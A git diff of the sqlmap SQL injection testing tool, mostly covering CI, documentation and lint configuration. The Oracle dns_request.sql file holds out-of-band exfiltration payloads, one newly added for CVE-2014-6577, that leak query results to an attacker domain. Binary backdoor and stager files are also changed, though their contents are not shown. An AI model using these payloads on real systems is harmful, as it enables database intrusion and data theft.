diff --git a/.gitattributes b/.gitattributes index dd5ba8f8848..a99321d231b 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,8 +1,16 @@ *.conf text eol=lf +*.json text eol=lf +*.html text eol=lf *.md text eol=lf *.md5 text eol=lf +*.pl text eol=lf *.py text eol=lf +*.sh text eol=lf +*.sql text eol=lf +*.txt text eol=lf *.xml text eol=lf +*.yaml text eol=lf +*.yml text eol=lf LICENSE text eol=lf COMMITMENT text eol=lf diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md index 2a36badf3f6..539394c0121 100644 --- a/.github/CODE_OF_CONDUCT.md +++ b/.github/CODE_OF_CONDUCT.md @@ -1,46 +1,22 @@ -# Contributor Covenant Code of Conduct +# Code of Conduct -## Our Pledge +## Our Goal -In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. +The sqlmap project provides a professional, technical environment for contributors. We prioritize technical excellence and respectful collaboration. -## Our Standards +## Standards -Examples of behavior that contributes to creating a positive environment include: +Contributors are expected to: -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members +* Be respectful and professional in all communications. +* Focus on the technical merits of the project. +* Gracefully accept constructive criticism. -Examples of unacceptable behavior by participants include: +Unacceptable behavior includes: -* The use of sexualized language or imagery and unwelcome sexual attention or advances -* Trolling, insulting/derogatory comments, and personal or political attacks -* Public or private harassment -* Publishing others' private information, such as a physical or electronic address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a professional setting - -## Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. - -## Scope - -This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. +* Harassment, personal attacks, or doxxing. +* Any behavior that disrupts the technical progress of the project. ## Enforcement -Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. - -## Attribution - -This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] - -[homepage]: http://contributor-covenant.org -[version]: http://contributor-covenant.org/version/1/4/ +The project maintainers have sole authority to moderate discussions and contributions. Decisions are made at the maintainers' discretion to ensure the project remains a focused and productive environment. Reports can be sent to `dev@sqlmap.org`. diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index b7753a2553d..0a2d0fe4aea 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -21,10 +21,10 @@ A clear and concise description of what you expected to happen. If applicable, add screenshots to help explain your problem. **Running environment:** - - sqlmap version [e.g. 1.3.5.93#dev] - - Installation method [e.g. git] - - Operating system: [e.g. Microsoft Windows 10] - - Python version [e.g. 3.5.2] + - sqlmap version [e.g. 1.7.2.12#dev] + - Installation method [e.g. pip] + - Operating system: [e.g. Microsoft Windows 11] + - Python version [e.g. 3.11.2] **Target details:** - DBMS [e.g. Microsoft SQL Server] diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 674ae2a004e..85ae78c0ea7 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -3,23 +3,132 @@ on: branches: [ master ] pull_request: branches: [ master ] + workflow_dispatch: + +concurrency: + group: ci-${{ github.ref }} + cancel-in-progress: true + +permissions: + contents: read jobs: build: runs-on: ${{ matrix.os }} + timeout-minutes: 30 + + env: + # deterministic dict/set iteration order run-to-run (guards against hash-order flakiness in CI) + PYTHONHASHSEED: "0" + strategy: matrix: - os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ '2.x', '3.11', 'pypy-2.7', 'pypy-3.7' ] + include: + - os: ubuntu-latest + python-version: "pypy-2.7" + - os: macos-latest + python-version: "3.8" + - os: windows-latest + python-version: "3.14" + steps: - - uses: actions/checkout@v2 - - name: Set up Python - uses: actions/setup-python@v2 + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 1 + persist-credentials: false + + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} + + - name: Python sanity + run: python -VV + + - name: Pyflakes lint + shell: bash + run: | + python - <<'PY' + from __future__ import print_function + + import subprocess + import sys + + subprocess.check_call([ + sys.executable, "-m", "pip", "install", "pyflakes" + ]) + + files = subprocess.check_output( + ["git", "ls-files", "*.py"] + ).decode("utf-8").splitlines() + + files = [ + f for f in files + if not f.startswith("thirdparty/") + ] + + proc = subprocess.Popen( + [sys.executable, "-m", "pyflakes"] + files, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + ) + out, _ = proc.communicate() + + text = out.decode("utf-8", "replace") + lines = [ + line for line in text.splitlines() + if " redefines " not in line + ] + + if lines: + print("\n".join(lines)) + sys.exit(1) + + if proc.returncode not in (0, 1): + if text: + print(text) + print("pyflakes failed unexpectedly with status %s" % proc.returncode) + sys.exit(proc.returncode or 1) + + print("pyflakes: clean") + PY + - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" + + - name: Install optional test deps (lxml, jinja2) + # lxml has no PyPy-2.7 wheel and 5.x is Py3-only, so it cannot be pip-installed there. The + # tests that use it (test_xpath's real-XPath checks, and the --xpath/--ssti vuln-test + # endpoints) skip themselves when the engine is unavailable, so these deps are only needed + # on the Py3 jobs. + if: matrix.python-version != 'pypy-2.7' + run: python -m pip install -q lxml jinja2 + + - name: Unit tests + # -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__ + # point at the .pyc, which would make the later --smoke getFileType(__file__) doctest see + # 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean. + run: python -B -m unittest discover -s tests -p "test_*.py" + + - name: Coverage + if: matrix.python-version != 'pypy-2.7' + run: | + python -m pip install coverage + python -m coverage run --source=lib,plugins,tamper -m unittest discover -s tests -p "test_*.py" + python -m coverage run -a --source=lib,plugins,tamper sqlmap.py --doc-test + python -m coverage report --fail-under=50 + - name: Smoke test - run: python sqlmap.py --smoke + run: python sqlmap.py --smoke-test + + - name: Payload lint + # offline: emulates blind + UNION enumeration across all DBMSes and checks + # every payload agent.py builds with lib/utils/sqllint (structural sanity) + run: python sqlmap.py --payload-lint + - name: Vuln test - run: python sqlmap.py --vuln + run: python sqlmap.py --vuln-test + + - name: API test + run: python sqlmap.py --api-test diff --git a/.gitignore b/.gitignore index 1f7f94a3b1e..07ca46e6eb7 100644 --- a/.gitignore +++ b/.gitignore @@ -5,4 +5,14 @@ __pycache__/ traffic.txt *~ req*.txt -.idea/ \ No newline at end of file +.idea/ +.aider* +.DS_Store +.github/.DS_Store +data/.DS_Store +extra/.DS_Store +lib/.DS_Store +plugins/.DS_Store +thirdparty/.DS_Store +CLAUDE.md +.coverage diff --git a/.pylintrc b/.pylintrc deleted file mode 100644 index 631dcdd9110..00000000000 --- a/.pylintrc +++ /dev/null @@ -1,546 +0,0 @@ -# Based on Apache 2.0 licensed code from https://github.com/ClusterHQ/flocker - -[MASTER] - -# Specify a configuration file. -#rcfile= - -# Python code to execute, usually for sys.path manipulation such as -# pygtk.require(). -init-hook="from pylint.config import find_pylintrc; import os, sys; sys.path.append(os.path.dirname(find_pylintrc()))" - -# Add files or directories to the blacklist. They should be base names, not -# paths. -ignore= - -# Pickle collected data for later comparisons. -persistent=no - -# List of plugins (as comma separated values of python modules names) to load, -# usually to register additional checkers. -load-plugins= - -# Use multiple processes to speed up Pylint. -# DO NOT CHANGE THIS VALUES >1 HIDE RESULTS!!!!! -jobs=1 - -# Allow loading of arbitrary C extensions. Extensions are imported into the -# active Python interpreter and may run arbitrary code. -unsafe-load-any-extension=no - -# A comma-separated list of package or module names from where C extensions may -# be loaded. Extensions are loading into the active Python interpreter and may -# run arbitrary code -extension-pkg-whitelist= - -# Allow optimization of some AST trees. This will activate a peephole AST -# optimizer, which will apply various small optimizations. For instance, it can -# be used to obtain the result of joining multiple strings with the addition -# operator. Joining a lot of strings can lead to a maximum recursion error in -# Pylint and this flag can prevent that. It has one side effect, the resulting -# AST will be different than the one from reality. -optimize-ast=no - - -[MESSAGES CONTROL] - -# Only show warnings with the listed confidence levels. Leave empty to show -# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED -confidence= - -# Enable the message, report, category or checker with the given id(s). You can -# either give multiple identifier separated by comma (,) or put this option -# multiple time. See also the "--disable" option for examples. -disable=all - -enable=import-error, - import-self, - reimported, - wildcard-import, - misplaced-future, - deprecated-module, - unpacking-non-sequence, - invalid-all-object, - undefined-all-variable, - used-before-assignment, - cell-var-from-loop, - global-variable-undefined, - redefine-in-handler, - unused-import, - unused-wildcard-import, - global-variable-not-assigned, - undefined-loop-variable, - global-at-module-level, - bad-open-mode, - redundant-unittest-assert, - boolean-datetime - deprecated-method, - anomalous-unicode-escape-in-string, - anomalous-backslash-in-string, - not-in-loop, - continue-in-finally, - abstract-class-instantiated, - star-needs-assignment-target, - duplicate-argument-name, - return-in-init, - too-many-star-expressions, - nonlocal-and-global, - return-outside-function, - return-arg-in-generator, - invalid-star-assignment-target, - bad-reversed-sequence, - nonexistent-operator, - yield-outside-function, - init-is-generator, - nonlocal-without-binding, - lost-exception, - assert-on-tuple, - dangerous-default-value, - duplicate-key, - useless-else-on-loop - expression-not-assigned, - confusing-with-statement, - unnecessary-lambda, - pointless-statement, - pointless-string-statement, - unnecessary-pass, - unreachable, - using-constant-test, - bad-super-call, - missing-super-argument, - slots-on-old-class, - super-on-old-class, - property-on-old-class, - not-an-iterable, - not-a-mapping, - format-needs-mapping, - truncated-format-string, - missing-format-string-key, - mixed-format-string, - too-few-format-args, - bad-str-strip-call, - too-many-format-args, - bad-format-character, - format-combined-specification, - bad-format-string-key, - bad-format-string, - missing-format-attribute, - missing-format-argument-key, - unused-format-string-argument - unused-format-string-key, - invalid-format-index, - bad-indentation, - mixed-indentation, - unnecessary-semicolon, - lowercase-l-suffix, - invalid-encoded-data, - unpacking-in-except, - import-star-module-level, - long-suffix, - old-octal-literal, - old-ne-operator, - backtick, - old-raise-syntax, - metaclass-assignment, - next-method-called, - dict-iter-method, - dict-view-method, - indexing-exception, - raising-string, - using-cmp-argument, - cmp-method, - coerce-method, - delslice-method, - getslice-method, - hex-method, - nonzero-method, - t-method, - setslice-method, - old-division, - logging-format-truncated, - logging-too-few-args, - logging-too-many-args, - logging-unsupported-format, - logging-format-interpolation, - invalid-unary-operand-type, - unsupported-binary-operation, - not-callable, - redundant-keyword-arg, - assignment-from-no-return, - assignment-from-none, - not-context-manager, - repeated-keyword, - missing-kwoa, - no-value-for-parameter, - invalid-sequence-index, - invalid-slice-index, - unexpected-keyword-arg, - unsupported-membership-test, - unsubscriptable-object, - access-member-before-definition, - method-hidden, - assigning-non-slot, - duplicate-bases, - inconsistent-mro, - inherit-non-class, - invalid-slots, - invalid-slots-object, - no-method-argument, - no-self-argument, - unexpected-special-method-signature, - non-iterator-returned, - arguments-differ, - signature-differs, - bad-staticmethod-argument, - non-parent-init-called, - bad-except-order, - catching-non-exception, - bad-exception-context, - notimplemented-raised, - raising-bad-type, - raising-non-exception, - misplaced-bare-raise, - duplicate-except, - nonstandard-exception, - binary-op-exception, - not-async-context-manager, - yield-inside-async-function - -# Needs investigation: -# abstract-method (might be indicating a bug? probably not though) -# protected-access (requires some refactoring) -# attribute-defined-outside-init (requires some refactoring) -# super-init-not-called (requires some cleanup) - -# Things we'd like to enable someday: -# redefined-builtin (requires a bunch of work to clean up our code first) -# redefined-outer-name (requires a bunch of work to clean up our code first) -# undefined-variable (re-enable when pylint fixes https://github.com/PyCQA/pylint/issues/760) -# no-name-in-module (giving us spurious warnings https://github.com/PyCQA/pylint/issues/73) -# unused-argument (need to clean up or code a lot, e.g. prefix unused_?) -# function-redefined (@overload causes lots of spurious warnings) -# too-many-function-args (@overload causes spurious warnings... I think) -# parameter-unpacking (needed for eventual Python 3 compat) -# print-statement (needed for eventual Python 3 compat) -# filter-builtin-not-iterating (Python 3) -# map-builtin-not-iterating (Python 3) -# range-builtin-not-iterating (Python 3) -# zip-builtin-not-iterating (Python 3) -# many others relevant to Python 3 -# unused-variable (a little work to cleanup, is all) - -# ... -[REPORTS] - -# Set the output format. Available formats are text, parseable, colorized, msvs -# (visual studio) and html. You can also give a reporter class, eg -# mypackage.mymodule.MyReporterClass. -output-format=parseable - -# Put messages in a separate file for each module / package specified on the -# command line instead of printing them on stdout. Reports (if any) will be -# written in a file name "pylint_global.[txt|html]". -files-output=no - -# Tells whether to display a full report or only the messages -reports=no - -# Python expression which should return a note less than 10 (10 is the highest -# note). You have access to the variables errors warning, statement which -# respectively contain the number of errors / warnings messages and the total -# number of statements analyzed. This is used by the global evaluation report -# (RP0004). -evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10) - -# Template used to display messages. This is a python new-style format string -# used to format the message information. See doc for all details -#msg-template= - - -[LOGGING] - -# Logging modules to check that the string format arguments are in logging -# function parameter format -logging-modules=logging - - -[FORMAT] - -# Maximum number of characters on a single line. -max-line-length=100 - -# Regexp for a line that is allowed to be longer than the limit. -ignore-long-lines=^\s*(# )??$ - -# Allow the body of an if to be on the same line as the test if there is no -# else. -single-line-if-stmt=no - -# List of optional constructs for which whitespace checking is disabled. `dict- -# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}. -# `trailing-comma` allows a space between comma and closing bracket: (a, ). -# `empty-line` allows space-only lines. -no-space-check=trailing-comma,dict-separator - -# Maximum number of lines in a module -max-module-lines=1000 - -# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1 -# tab). -indent-string=' ' - -# Number of spaces of indent required inside a hanging or continued line. -indent-after-paren=4 - -# Expected format of line ending, e.g. empty (any line ending), LF or CRLF. -expected-line-ending-format= - - -[TYPECHECK] - -# Tells whether missing members accessed in mixin class should be ignored. A -# mixin class is detected if its name ends with "mixin" (case insensitive). -ignore-mixin-members=yes - -# List of module names for which member attributes should not be checked -# (useful for modules/projects where namespaces are manipulated during runtime -# and thus existing member attributes cannot be deduced by static analysis. It -# supports qualified module names, as well as Unix pattern matching. -ignored-modules=thirdparty.six.moves - -# List of classes names for which member attributes should not be checked -# (useful for classes with attributes dynamically set). This supports can work -# with qualified names. -ignored-classes= - -# List of members which are set dynamically and missed by pylint inference -# system, and so shouldn't trigger E1101 when accessed. Python regular -# expressions are accepted. -generated-members= - - -[VARIABLES] - -# Tells whether we should check for unused import in __init__ files. -init-import=no - -# A regular expression matching the name of dummy variables (i.e. expectedly -# not used). -dummy-variables-rgx=_$|dummy - -# List of additional names supposed to be defined in builtins. Remember that -# you should avoid to define new builtins when possible. -additional-builtins= - -# List of strings which can identify a callback function by name. A callback -# name must start or end with one of those strings. -callbacks=cb_,_cb - - -[SIMILARITIES] - -# Minimum lines number of a similarity. -min-similarity-lines=4 - -# Ignore comments when computing similarities. -ignore-comments=yes - -# Ignore docstrings when computing similarities. -ignore-docstrings=yes - -# Ignore imports when computing similarities. -ignore-imports=no - - -[SPELLING] - -# Spelling dictionary name. Available dictionaries: none. To make it working -# install python-enchant package. -spelling-dict= - -# List of comma separated words that should not be checked. -spelling-ignore-words= - -# A path to a file that contains private dictionary; one word per line. -spelling-private-dict-file= - -# Tells whether to store unknown words to indicated private dictionary in -# --spelling-private-dict-file option instead of raising a message. -spelling-store-unknown-words=no - - -[MISCELLANEOUS] - -# List of note tags to take in consideration, separated by a comma. -notes=FIXME,XXX,TODO - - -[BASIC] - -# List of builtins function names that should not be used, separated by a comma -bad-functions=map,filter,input - -# Good variable names which should always be accepted, separated by a comma -good-names=i,j,k,ex,Run,_ - -# Bad variable names which should always be refused, separated by a comma -bad-names=foo,bar,baz,toto,tutu,tata - -# Colon-delimited sets of names that determine each other's naming style when -# the name regexes allow several styles. -name-group= - -# Include a hint for the correct naming format with invalid-name -include-naming-hint=no - -# Regular expression matching correct function names -function-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for function names -function-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct variable names -variable-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for variable names -variable-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct constant names -const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$ - -# Naming hint for constant names -const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$ - -# Regular expression matching correct attribute names -attr-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for attribute names -attr-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct argument names -argument-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for argument names -argument-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct class attribute names -class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ - -# Naming hint for class attribute names -class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ - -# Regular expression matching correct inline iteration names -inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$ - -# Naming hint for inline iteration names -inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$ - -# Regular expression matching correct class names -class-rgx=[A-Z_][a-zA-Z0-9]+$ - -# Naming hint for class names -class-name-hint=[A-Z_][a-zA-Z0-9]+$ - -# Regular expression matching correct module names -module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ - -# Naming hint for module names -module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ - -# Regular expression matching correct method names -method-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for method names -method-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression which should only match function or class names that do -# not require a docstring. -no-docstring-rgx=^_ - -# Minimum line length for functions/classes that require docstrings, shorter -# ones are exempt. -docstring-min-length=-1 - - -[ELIF] - -# Maximum number of nested blocks for function / method body -max-nested-blocks=5 - - -[IMPORTS] - -# Deprecated modules which should not be used, separated by a comma -deprecated-modules=regsub,TERMIOS,Bastion,rexec - -# Create a graph of every (i.e. internal and external) dependencies in the -# given file (report RP0402 must not be disabled) -import-graph= - -# Create a graph of external dependencies in the given file (report RP0402 must -# not be disabled) -ext-import-graph= - -# Create a graph of internal dependencies in the given file (report RP0402 must -# not be disabled) -int-import-graph= - - -[DESIGN] - -# Maximum number of arguments for function / method -max-args=5 - -# Argument names that match this expression will be ignored. Default to name -# with leading underscore -ignored-argument-names=_.* - -# Maximum number of locals for function / method body -max-locals=15 - -# Maximum number of return / yield for function / method body -max-returns=6 - -# Maximum number of branch for function / method body -max-branches=12 - -# Maximum number of statements in function / method body -max-statements=50 - -# Maximum number of parents for a class (see R0901). -max-parents=7 - -# Maximum number of attributes for a class (see R0902). -max-attributes=7 - -# Minimum number of public methods for a class (see R0903). -min-public-methods=2 - -# Maximum number of public methods for a class (see R0904). -max-public-methods=20 - -# Maximum number of boolean expressions in a if statement -max-bool-expr=5 - - -[CLASSES] - -# List of method names used to declare (i.e. assign) instance attributes. -defining-attr-methods=__init__,__new__,setUp - -# List of valid names for the first argument in a class method. -valid-classmethod-first-arg=cls - -# List of valid names for the first argument in a metaclass class method. -valid-metaclass-classmethod-first-arg=mcs - -# List of member names, which should be excluded from the protected access -# warning. -exclude-protected=_asdict,_fields,_replace,_source,_make - - -[EXCEPTIONS] - -# Exceptions that will emit a warning when being caught. Defaults to -# "Exception" -overgeneral-exceptions=Exception diff --git a/LICENSE b/LICENSE index 172de6054cb..cc0480cafb4 100644 --- a/LICENSE +++ b/LICENSE @@ -1,7 +1,7 @@ COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -sqlmap is (C) 2006-2023 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. +sqlmap is (C) 2006-2026 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/README.md b/README.md index 3ac67dbca9b..05fd780271e 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap ![](https://raw.githubusercontent.com/sqlmapproject/sqlmap/refs/heads/gh-pages/favicon-32.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. @@ -20,7 +20,7 @@ Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlm git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform. +sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.7** and **3.x** on any platform. Usage ---- @@ -45,30 +45,36 @@ Links * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * User's manual: https://github.com/sqlmapproject/sqlmap/wiki * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Playground: https://sekumart.sekuripy.hr * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots Translations ---- +* [Arabic](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ar-AR.md) +* [Bengali](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bn-BD.md) * [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md) * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) * [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md) * [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) * [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md) -* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md) +* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) +* [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) * [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) +* [Kurdish (Central)](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ckb-KU.md) * [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) -* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md) +* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md) * [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md) +* [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) * [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) diff --git a/data/html/index.html b/data/html/index.html deleted file mode 100644 index 576f2763b8c..00000000000 --- a/data/html/index.html +++ /dev/null @@ -1,151 +0,0 @@ - - - - - - - DEMO - - - - - - - - - - -
- - - -
-
-

DEMO

-
-
-
- - - - - diff --git a/data/procs/oracle/dns_request.sql b/data/procs/oracle/dns_request.sql index adb71cfb2fb..5dda762c08d 100644 --- a/data/procs/oracle/dns_request.sql +++ b/data/procs/oracle/dns_request.sql @@ -1,2 +1,3 @@ SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL # or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL +# or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual diff --git a/data/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_ index 5a81545e020..74674046ee4 100644 Binary files a/data/shell/backdoors/backdoor.asp_ and b/data/shell/backdoors/backdoor.asp_ differ diff --git a/data/shell/backdoors/backdoor.aspx_ b/data/shell/backdoors/backdoor.aspx_ index 8e83a0d2009..68f766c1bb3 100644 Binary files a/data/shell/backdoors/backdoor.aspx_ and b/data/shell/backdoors/backdoor.aspx_ differ diff --git a/data/shell/backdoors/backdoor.cfm_ b/data/shell/backdoors/backdoor.cfm_ new file mode 100644 index 00000000000..499e7062749 Binary files /dev/null and b/data/shell/backdoors/backdoor.cfm_ differ diff --git a/data/shell/backdoors/backdoor.jsp_ b/data/shell/backdoors/backdoor.jsp_ index 8d01202f00f..112a15ec801 100644 Binary files a/data/shell/backdoors/backdoor.jsp_ and b/data/shell/backdoors/backdoor.jsp_ differ diff --git a/data/shell/backdoors/backdoor.php_ b/data/shell/backdoors/backdoor.php_ index 5db8f130f9b..2b0f420925a 100644 Binary files a/data/shell/backdoors/backdoor.php_ and b/data/shell/backdoors/backdoor.php_ differ diff --git a/data/shell/stagers/stager.asp_ b/data/shell/stagers/stager.asp_ index 5c235ecb5f4..9437f5cf878 100644 Binary files a/data/shell/stagers/stager.asp_ and b/data/shell/stagers/stager.asp_ differ diff --git a/data/shell/stagers/stager.aspx_ b/data/shell/stagers/stager.aspx_ index f20887a96d6..89dbea0056c 100644 Binary files a/data/shell/stagers/stager.aspx_ and b/data/shell/stagers/stager.aspx_ differ diff --git a/data/shell/stagers/stager.cfm_ b/data/shell/stagers/stager.cfm_ new file mode 100644 index 00000000000..910d3be5df5 Binary files /dev/null and b/data/shell/stagers/stager.cfm_ differ diff --git a/data/shell/stagers/stager.jsp_ b/data/shell/stagers/stager.jsp_ index beec2ae56ae..c73b3ebbf19 100644 Binary files a/data/shell/stagers/stager.jsp_ and b/data/shell/stagers/stager.jsp_ differ diff --git a/data/shell/stagers/stager.php_ b/data/shell/stagers/stager.php_ index eafe6277127..f52f35a7a4e 100644 Binary files a/data/shell/stagers/stager.php_ and b/data/shell/stagers/stager.php_ differ diff --git a/data/txt/catalog-identifiers.txt b/data/txt/catalog-identifiers.txt new file mode 100644 index 00000000000..3d49680a51f --- /dev/null +++ b/data/txt/catalog-identifiers.txt @@ -0,0 +1,13792 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission +# +# Real DBMS system/catalog table and column identifiers, grouped in [] sections (the section +# name matches a lib.core.enums.DBMS value). Used to warm a per-DBMS character-level Markov model that +# drives Huffman set-membership retrieval during blind table/column NAME enumeration (see +# lib/techniques/blind/inference.py::getHuffmanPrior); the fingerprinted back-end's section is loaded +# at run time. Not used for whole-value wordlist matching. + +[MySQL] +Abbreviation +ACCESS_MODE +ACCESS_TIME +account_locked 